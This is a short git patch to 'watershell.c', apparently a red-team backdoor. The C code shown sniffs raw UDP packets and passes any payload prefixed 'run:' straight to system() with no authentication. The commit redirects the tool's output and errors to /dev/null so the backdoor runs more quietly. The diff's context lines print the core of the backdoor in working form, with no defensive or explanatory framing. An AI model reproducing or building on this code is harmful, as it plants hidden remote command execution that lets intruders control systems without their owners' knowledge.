From afc2b30bb4cce11f415dff0873c160f7c26a93f4 Mon Sep 17 00:00:00 2001 From: Cictrone Date: Wed, 14 Nov 2018 01:39:01 -0500 Subject: [PATCH] no more errors/stdout form this boi --- watershell.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/watershell.c b/watershell.c index b137801..2dd8c35 100755 --- a/watershell.c +++ b/watershell.c @@ -44,6 +44,7 @@ #include #include #include +#include #include #include #include @@ -157,8 +158,8 @@ int main(int argc, char *argv[]) udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); //run a command if the data is prefixed with run: if (!strncmp(udpdata, "run:", 4)){ - out = open("/dev/null", O_WRONLY); - err = open("/dev/null", O_WRONLY); + int out = open("/dev/null", O_WRONLY); + int err = open("/dev/null", O_WRONLY); dup2(out, 0); dup2(err, 2); code = system(udpdata + 4); //replace with fork + exec